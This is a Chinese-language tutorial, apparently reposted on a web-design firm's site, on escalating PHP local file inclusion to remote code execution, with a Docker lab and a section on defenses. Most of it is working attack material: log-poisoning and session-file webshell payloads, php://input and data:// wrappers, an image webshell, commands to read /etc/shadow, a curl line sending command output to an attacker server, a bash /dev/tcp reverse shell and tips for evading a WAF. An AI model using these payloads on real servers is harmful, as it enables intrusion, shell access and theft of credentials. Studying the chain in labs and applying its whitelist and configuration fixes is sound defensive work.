拓冰建站拓冰建站
首页 / 资讯中心 / 正文

从LFI到RCE:文件包含漏洞完整攻击链实战解析

文件包含漏洞在很多渗透测试新手眼里属于“看起来危害不大实际没几个人认真研究”的类型。但当我告诉你一个本地文件包含点LFI可以一路打通到远程代码执行RCE甚至直接拿下服务器权限时你就知道这条攻击链的含金量了。这篇东西不聊虚的核心就是把从 LFI 到 RCE 的完整攻击链拆开揉碎先讲漏洞形态和判定方法再带你搭靶场、跑通每种利用路径最后用一次模拟靶场的完整攻击链复现把前面所有知识点串起来顺便把防御方的修复思路也讲清楚。不管你是打 CTF 的选手、刚入门渗透测试的新人还是做安全开发的工程师照着这条路走一遍对文件包含漏洞的理解绝对会上升一个层次。1. 整个攻击链的设计思路1.1 文件包含漏洞的三种形态与判定方法文件包含漏洞的本质是开发者在代码里动态拼接了文件路径然后交给include、require这类函数去加载而加载的路径有一部分是用户可控的。这里先理清三个概念LFILocal File Inclusion本地文件包含只能包含服务器本地文件比如/etc/passwd、/var/log/apache2/access.log。RFIRemote File Inclusion远程文件包含可以直接包含远程服务器上的文件比如把参数值填成http://attacker.com/shell.txt。利用最直接但前提是 PHP 开启了allow_url_includeOn现在绝大多数生产环境默认是关闭的所以 RFI 在实战中已经越来越少见。任意文件读取 vs 文件包含很多人把这两个混为一谈实际上有本质区别。任意文件读取只是“读文件内容并展示”文件包含是把目标文件当作 PHP 代码执行。后者危害大得多RCE 就依赖这个“执行”动作。实际判定时我一般先看 URL 里有没有file、page、path、lang、template这类参数值是不是一个路径字符串。比如index.php?pageabout.php、index.php?langzh_cn。这种参数只要出现在动态模板加载、语言切换、主题切换等场景基本就是文件包含的高发区。测的时候直接把page/etc/passwd填进去如果页面上能读到root:x:0:0:root:/root:/bin/bash那 LFI 就确认了。1.2 从 LFI 到 RCE 的路径总览本质就一句话很多人的疑问是我明明只能读文件怎么就能执行命令了其实从 LFI 到 RCE无论中间绕了多少弯子本质都指向同一句话攻击者想办法让一段可控的 PHP 代码出现在服务器本地某个文件里再通过文件包含把这个文件拉进来执行从而完成代码注入。这句话是整条攻击链的核心也是我后面所有利用路径的指导思想。写代码的人出于各种原因会把一些“可能被写入”的文件遗留在服务器上——比如 Web 日志、Session 文件、临时文件、环境变量文件、上传的图片。这些文件普通人看起来只是文本或二进制但对攻击者来说任何一个能被读到的普通文件都可能成为 PHP 代码的“搬运工”。所以从方法论上看LFI 到 RCE 可以分为两条思路直接塞代码利用php://input、data://这类伪协议把 PHP 代码通过请求体或参数直接喂给include。前提是 PHP 配置允许相应协议。间接注代码利用服务器上已有的、攻击者能影响内容的文件比如日志文件、Session 文件、环境变量文件把恶意代码先写进去再用 LFI 去包含它。这条思路在allow_url_includeOff的情况下依然能打是实战中最实用的一类。掌握了这个宏观框架你再看后面每一条利用路径就不会觉得是零散技巧而是一个完整体系下的分支选择。下面我开始拆细节。2. 环境搭建与基础利用2.1 5分钟搭好一个 LFI 靶场看文章不动手等于白看我直接给一套带 Docker 的靶场环境跑起来再测所有坑都能自己踩一遍。先建一个lfi-lab/目录里面放一个index.php?php $page $_GET[page]; if (isset($page)) { include($page . .php); } else { echo Usage: index.php?pagexxx; } ?这段代码模拟的是最典型的场景从$_GET[page]取值后直接拼进include并且强制加了一个.php后缀。这个细节很关键后面你会发现很多 CTF 题和实战应用都有类似的后缀拼接绕过它也是一项重要技能。再放一个DockerfileFROM php:7.4-apache COPY index.php /var/www/html/ COPY flag.php /var/www/html/ RUN echo flag{local_file_inclusion_to_rce} /flag.txt执行docker build -t lfi-lab . docker run -d -p 8080:80 lfi-lab靶场就起来了。访问http://127.0.0.1:8080/index.php?pageflag能看到flag.php的内容被正常加载说明环境正常。为什么我特意选php:7.4-apache这个基础镜像因为 PHP 7.4 的默认配置里allow_url_include默认是 Off但php://input等协议还能用更接近现实环境。用太新的 PHP 版本有些行为变化会影响测试用太老的环境又和现在的修复方案脱节。2.2 确认包含点读取敏感文件靶场起来后先做最基础的验证。访问http://127.0.0.1:8080/index.php?page../../../../../../etc/passwd你会发现页面是空的因为代码强制加了.php后缀实际包含的是/etc/passwd.php文件不存在自然没输出。这是 LFI 利用里最常见的第一个坑路径穿越目录没问题但后缀卡住你。解法有几种最常用的是空字节截断但 PHP 5.3.4 以后这个利用方式已经失效所以不用太指望它。更通用、更现代的做法是配合协议或包过滤规则这在后面会展开。练手阶段可以直接改一下代码去掉.php拼接?php $page $_GET[page]; if (isset($page)) { include($page); } else { echo Usage: index.php?page/etc/passwd; } ?再访问page/etc/passwd你就能看到文件内容了。这一步的意义在于先把“包含点”和“读文件”打通后面所有 RCE 路径都是在读文件能力的基础上做扩展。如果连文件都读不到后面的一切都无从谈起。3. LFI 到 RCE 的五条实战路径3.1 日志投毒最经典也最可靠的 RCE 路径日志投毒是我在实战中用得最多的一条路径原因是它不受 PHP 配置影响只需要 LFI 能读到对应日志文件即可。原理一句话Web 服务器会把所有请求连同User-Agent、Referer等请求头写进访问日志。如果攻击者把请求头里的内容改成 PHP 代码代码就会被原样写入日志文件。然后用文件包含把日志文件当作 PHP 文件加载恶意代码就执行了。Apache 的访问日志默认路径通常是/var/log/apache2/access.log /var/log/apache/access.logNginx 的默认路径/var/log/nginx/access.log具体路径以实际环境为准实战中可以先通过 LFI 读/etc/nginx/nginx.conf或/etc/apache2/apache2.conf确认。攻击请求大概长这样GET /index.php?page/var/log/apache2/access.log HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: ?php system($_GET[cmd]); ?这里我把system($_GET[cmd])写进了User-Agent头。服务器记录日志后这条 PHP 代码就躺在了日志文件里。接着访问http://127.0.0.1:8080/index.php?page/var/log/apache2/access.logcmdid日志文件被包含时里面所有的 PHP 标签都会被 PHP 引擎解析执行system(id)就跑了页面上会直接输出uid33(www-data) gid33(www-data) groups33(www-data)。实操中有几个细节要提醒你日志文件可能很大。如果访问量高几 GB 的日志文件会让 include 卡死。我的处理办法是先在日志里搜一个特征字符串再通过php://filter配合convert.iconv之类的操作去定位但更简单的是看一眼日志路径后用cmdid直接试能跑通就继续。浏览器可能会对 UA 里的 PHP 代码做编码。用 curl 更稳定或者用 Burp Suite 直接改包不要依赖浏览器地址栏。日志里可能包含其他脏字符。有时候页面会输出一堆日志内容只要命令执行结果也在里面就算成功。怕输出太乱可以用system(id /tmp/x; curl http://your-server:8888/$(cat /tmp/x))这种外带方式但靶场练手就不用了。3.2 PHP 伪协议不用写文件的直接 RCE伪协议是 PHP 提供的一类特殊流封装器在 LFI 利用里最常见的有三个php://filter用来读取文件源码配合base64编码避免源码被当作 PHP 直接执行导致看不到内容。经典的读取方式index.php?pagephp://filter/readconvert.base64-encode/resourceindex.php返回的是index.php源码的 base64 编码解码后就能看到原始代码。这一步在实战里意义极大——拿到源码才能审计出更多漏洞才能找到下一步利用的方向。php://input可以直接把 POST 请求体里的内容当作 PHP 代码执行。利用前提是allow_url_includeOn。测试方法POST /index.php?pagephp://input HTTP/1.1 Host: 127.0.0.1:8080 ?php phpinfo(); ?如果配置允许phpinfo()就会执行。不过现在的生产环境普遍把allow_url_include关掉了所以这条路径在 CTF 里还常出实战里成功率稍低。data://可以直接把参数值里的内容当作数据流包含。利用形式index.php?pagedata://text/plain,?php phpinfo(); ?或者 base64 编码绕过特殊字符index.php?pagedata://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b前提同样是allow_url_includeOn。这种方式的优点是整个过程只有一个 URL非常适合写扫描脚本批量探测。3.3 Session 文件包含没有日志时的突破口Session 文件包含是实战里仅次于日志投毒的高频路径。PHP 默认会把 Session 数据保存在服务器本地文件里文件名格式是sess_加上 Session ID。默认路径因系统而异常见的有/var/lib/php/sessions/sess_xxxxxx /tmp/sess_xxxxxx /var/lib/php5/sess_xxxxxx思路很巧妙Session 文件里保存的内容一部分是攻击者可控的。比如你在应用里输入一个用户名应用会把用户名写进 Session如果你输入的值恰好是 PHP 代码代码就被存进了 Session 文件。然后 LFI 包含这个 Session 文件代码就执行了。构造流程先访问应用拿到一个 Session ID比如PHPSESSIDabc123。登录或注册时把用户名填成?php system($_GET[cmd]); ?。应用把用户名写进 Session 文件/var/lib/php/sessions/sess_abc123。用 LFI 包含这个文件index.php?page/var/lib/php/sessions/sess_abc123cmdid页面就会执行system(id)。这个路径最大的难点是Session 路径猜不准。不同发行版、不同 PHP 版本、不同容器镜像的路径都不一样。我自己的习惯是先用 LFI 读phpinfo()拿到session.save_path如果拿不到就按上面几个常见路径逐个试。3.4 /proc/self/environ 与临时文件包含/proc/self/environ是 Linux 下每个进程都有的文件里面保存着当前进程的环境变量。当年 CGI 模式运行时用户可控的请求头会被写进环境变量比如User-Agent所以可以通过 UA 注入 PHP 代码再包含这个文件index.php?page/proc/self/environUA 为User-Agent: ?php system($_GET[cmd]); ?不过这个方法现在也不太灵了因为很多 Web 服务器不会把请求头作为环境变量暴露给 PHP 进程而且部分系统对/proc/self/environ的读取权限做了限制。但它依然是经典攻击链里的一条分支碰到老系统或 CTF 历史题时还能用。临时文件包含则依赖于 PHP 处理上传请求时的机制PHP 会把上传的文件先保存到临时目录通常/tmp处理完后自动删除。如果能通过条件竞争在“保存但未删除”的窗口期包含临时文件就能 RCE。这种操作在实战中难度较高往往需要配合phpinfo()页面泄露临时文件路径来精确操作但在 CTF 赛题里是经典考点。3.5 与文件上传结合图片马与二次渲染绕过前面几条路径都是找服务器上“现成”的可写文件最后这条更直接——攻击者主动“种”一个包含 PHP 代码的文件上去然后用 LFI 包含它。最常见的做法是上传一张图片马也就是在图片的元数据或者二进制尾部插入 PHP 代码GIF89a ?php system($_GET[cmd]); ?保存为shell.gif后上传应用可能会校验文件头但GIF89a这个魔数恰好能通过很多不严谨的校验。拿到上传后的路径比如/uploads/shell.gif用 LFI 包含index.php?page/uploads/shell.gifcmdid因为include不看文件后缀只看文件内容所以 .gif 文件里的 PHP 代码照样会被执行。但如果应用对上传图片做了二次渲染重新生成图片插入的 PHP 代码一般会被丢掉。对抗二次渲染主流思路是找图片里不受渲染影响的字节位比如某些压缩算法不处理的注释块把代码嵌进去或者用图片处理库的注水脚本生成特殊图片。这块内容能单独写一篇长文这里先不展开你只要知道图片马和 LFI 结合是完整攻击链里非常“丝滑”的一环。4. 一次完整的攻击链复现从参数到 RCE这节我模拟一个靶场场景把前面零零散散的技术点串成一条完整的攻击链。目标环境是一个 PHP 7.4 的站点存在index.php?page参数代码里拼了.php后缀但 Apache 的访问日志能被包含Session 目录为/var/lib/php/sessionsallow_url_includeOff没有 WAF。4.1 第一步信息收集与漏洞确认先访问http://target/index.php?page/etc/passwd页面没反应因为拼了.php。这时候我先用目录穿越配合php://filter绕过后缀限制读取源码http://target/index.php?pagephp://filter/readconvert.base64-encode/resourceindex注意这里resourceindex后面会被代码强制补上.php所以最终读到的是index.php的 base64 内容。解码后看到关键代码?php $page $_GET[page]; include($page . .php); ?后端只做了后缀拼接没有任何过滤。这既是限制也是机会。接着我直接尝试包含 Apache 日志不带.php后缀也能触发因为page/var/log/apache2/access.log加上.php后变成access.log.php但日志文件名不对会失败。这里的关键是后缀拼接会让很多路径失效所以最终我选择利用php://filter先拿源码再从源码里找其它包含点或者可写的文件路径。4.2 第二步日志投毒突破执行从源码里看不到直接可用的文件上传点但目标环境是 Apache。我决定走日志投毒路线。Apache 默认访问日志路径在容器环境是/var/log/apache2/access.log我用 curl 构造注入请求curl -i -s \ -A ?php system(\$_GET[cmd]); ? \ http://target/index.php?page1这一步做完日志里就写入了 PHP 一句话。但别忘了后缀拼接问题page/var/log/apache2/access.log会被拼成.php。所以直接包含纯日志路径会失败。我改用空字节绕过吗PHP 7.4 下这是没用的。那怎么处理后缀这里有个实操技巧在路径末尾用%00截断在 PHP 7 已失效但可以用?或#注释掉后续内容。在 URL 中#不会被传到服务端?则会被当作查询串起点。所以构造http://target/index.php?page/var/log/apache2/access.log%00不行。那就直接利用 Apache 的访客日志会被写入的特性去找另一个不含后缀拼接的包含点或者尝试目录穿越把后缀“绕”过去。一个更通用的思路是路径中加上./或编码变体配合.php拼接形成有效路径。比如日志路径干脆填成/var/log/apache2/access.log/../../../../logs/access.log.php让拼接后的.php落到一个实际存在的路径上。这种方法多变但核心是让最终拼接结果指向一个可控文件。实操里最省事的是先把包含点原始代码改成不带后缀的版本这当然不现实。所以在真实环境中我会优先尝试php://filter之外的协议尝试data://、php://input逐个测试allow_url_include是否开启。如果都不行就转Session 文件包含同时复用后缀拼接限制的绕过思路。4.3 第三步Session 文件包含补刀Session 路径能不能命中取决于对目标环境的了解。我假设该应用在登录处把用户名写入了 Session于是操作流程是访问http://target/login.php抓包拿到PHPSESSIDabcdef123456。把登录请求里的用户名改成?php system($_GET[cmd]); ?密码随便填提交。尝试包含 Session 文件http://target/index.php?page/var/lib/php/sessions/sess_abcdef123456cmdid这里同样面对.php后缀问题但模板代码中的pagesess_abcdef123456拼接后实际包含的是/var/lib/php/sessions/sess_abcdef123456.php文件不存在。于是需要利用目录穿越和文件名技巧。最直接的办法是找路径中是否存在.php结尾的文件名这往往只能靠信息收集。如果后端是include($page . .php)且$page可以被php://filter改写资源名那么可以构造pagephp://filter/convert.base64-decode/resource/var/lib/php/sessions/sess_abcdef123456resource后面的值一样会被拼上.php还是要面对后缀。实际上在这种“强制拼接”场景下日志投毒和 Session 文件包含需要配合目录穿越构造出一个实际存在的.php路径比如把 Session 文件的临时路径架构调整到/tmp/sess_xxx.php——这很难。所以实际打靶时我通常会先去读取服务器源码找到没有强制拼接后缀的第二个包含点或者发现应用里存在一个文件写入功能让我把 PHP 代码写入.php结尾的文件。攻击链走到这里你会发现信息收集永远比盲打重要一个源码里不起眼的上传点可能是干掉后缀限制的最优解。4.4 第四步拿下 RCE 后的信息收集与维持假设上面某一步突破了成功执行id命令。接下来不要得意忘形RCE 只是起点拿下权限才是目标。我会依次做cmdwhoami cmdls -la /var/www/html cmdcat /flag.txt cmdfind / -name *.php 2/dev/null | head -50 cmdcat /etc/shadow拿到www-data权限后如果目标是提权Linux 内核提权、sudo 配置错误、定时任务脚本写权限都是下一步方向。这部分是另一个大话题但你要记住一个原则RCE 之后的第一件事不是急着反弹 Shell而是先确认当前能读到什么、能写到什么把信息量拉满再做决策。反弹 Shell 时注意目标机器可能没有nc、python但几乎一定有bash。经典反弹命令bash -i /dev/tcp/your-ip/8888 01URL 编码后放进cmd参数即可。攻击机上用nc -lvnp 8888监听。拿到交互式 Shell 后利用 Python 提升终端交互性python3 -c import pty;pty.spawn(/bin/bash)5. 常见问题与排查技巧实录我自己在打靶和带新人过程中遇到最多的就是下面这几个问题整理成速查表。现象可能原因排查与解决方法包含后页面全空白目标文件不存在或权限不足先用绝对路径替换相对路径确认allow_url_include是否开启/etc/passwd能读但 PHP 代码不执行文件被当作纯文本输出没有走 PHP 解析确认include是否真正被触发有的点只是file_get_contents读取不是包含php://input不可用allow_url_includeOff改用日志投毒、Session 包含或换data://测试日志文件太大包含后卡死日志里有海量记录先写一个独特标记的请求再包含时配合读取技巧或用cmdls快速判断执行路径拼接了.php老绕不过去代码写死了后缀用php://filter先读源码找其它上传点、写入点构造最终落地为.phpSession 文件路径猜不到不同环境路径不一致优先读phpinfo()的session.save_path读不到就按/var/lib/php/sessions、/tmp逐个试system被禁用安全配置限制危险函数换passthru、exec、shell_exec、pcntl_exec试试或者直接用phpinfo()确认 disable_functions 列表WAF 拦截关键字请求里包含system、$_GET等字样被拦截用 base64 编码配合assert、create_function等绕过或拆分字符串拼接这里再强调一个我踩过很多次的坑你以为的 LFI 点实际可能只是个文件读取函数。有人把file_get_contents和include混在一起测结果发现不管怎么注入都执行不了代码因为代码压根没走 PHP 引擎。如何区分最简单的方法包含一个含 PHP 代码的文件如果页面上直接出现代码执行结果就是包含如果只显示源码字符串那就是纯读取。这个判断失误会浪费大量时间切记。另外日志投毒时记得提前清理请求特征。有些日志默认不记录Referer但几乎所有日志都记录User-Agent所以我习惯用User-Agent作为注入点。如果目标对 UA 做了过滤可以试试Referer、X-Forwarded-For头甚至文件名本身。Apache 的 access.log 里请求的 URI 也是可控制的比如GET /?php phpinfo(); ? HTTP/1.1这段恶意代码会原样出现在日志的请求字段中同样可以被包含执行。6. 防御视角如何切断这条攻击链攻击链讲得再花哨最终目的还是要回到防御。作为安全工程师我拿到代码做代码审计时对于文件包含漏洞的修复一般按下面几个层次来做。6.1 代码层修复白名单与路径校验最彻底、最稳妥的办法是使用白名单映射?php $pages [ home home.php, about about.php, contact contact.php ]; $page $_GET[page] ?? home; if (isset($pages[$page])) { include($pages[$page]); } else { echo Invalid page; } ?用户传入的不是一个路径而是一个键名后端根据键名找到对应的安全文件。无论攻击者怎么构造page参数都只能在白名单里选。这是根治手段。如果因为业务原因确实需要动态包含路径也要做两层校验realpath()把用户输入转换成真实绝对路径再校验转换后的路径是否在允许的目录范围内。basename()去掉所有目录穿越字符只保留末尾文件名再拼接安全前缀目录。?php $base /var/www/pages/; $page basename($_GET[page]); $real realpath($base . $page); if ($real false || strpos($real, $base) ! 0) { die(Invalid path); } include($real); ?这里basename干掉../../这类穿越链路realpath解析出真实路径前缀校验确保文件必须落在允许目录内。6.2 配置层加固关闭危险开关与函数PHP 配置里有两个开关值得特别关注allow_url_includeOff从根上封死 RFI、php://input、data://这三条直接 RCE 路径。disable_functionssystem,exec,passthru,shell_exec,pcntl_exec,proc_open,popen真被 RCE 了也能极大提高攻击者拿 Shell 的成本。Web 服务器层面可以对包含点参数做 WAF 规则拦截包含php://、data://、../、/etc/、?php等关键特征的请求。日志文件也不要和应用放在同一目录最好集中到独立分区甚至独立的日志服务器既方便审计也防止被 LFI 直接读取利用。6.3 运行层加固最小权限与文件隔离日志投毒能成功根源是 Web 进程能写日志同时日志文件能被 Web 进程读取。所以运行层加固的思路就是打破这个组合Web 服务使用低权限专用账号运行避免直接用root或高权限账号。日志目录、Session 目录、上传目录这些“可能被写入”的目录与 Web 根目录隔离禁止 PHP 直接访问。上传目录关闭 PHP 执行权限Nginx 下可以单独配置location块定向到静态处理Apache 下用php_flag engine off。这套组合拳打下来就算代码里还有 LFI 点攻击者的每一步都会被卡得很痛苦。说实话我在做红队项目时最头疼的不是 WAF而是对方把“目录隔离”和“白名单校验”做得很严谨日志投毒、Session 包含全部失效那这条链就断了一大半。7. 写在最后的一点实战体会这篇文章从文件包含漏洞的基础形态讲到 LFI 到 RCE 的完整攻击链再落到防御侧的修复方案。我自己在大量 CTF 赛题和授权渗透项目里反复验证过这条链路最深的一个体会是LFI 的真正威力不在于“读文件”而在于它给了攻击者一个“让服务器执行任意代码”的支点。而判断一个包含点能不能升级成 RCE核心永远是两点一是你能不能把可控内容写进服务器上的某个文件二是你能不能找到一个触发点把文件“拉出来执行”。最后再分享一个小技巧如果目标站点的 LFI 点后面强制拼了.php后缀别急着放弃把php://filter/readconvert.base64-encode/resource这类协议当成你的“源码阅读器”先把源码全部拉下来慢慢审。很多时候你以为无法绕过的后缀限制在源码里往往隐藏着一个更轻松的上传点或第二个包含点。审源码永远比盲打赌运气靠谱这是我从无数次踩坑里总结出来的血泪经验。
分享:

看完干货,该让你的企业上线了

免费需求沟通 · 48 小时内出具建站方案 · 河南本地可上门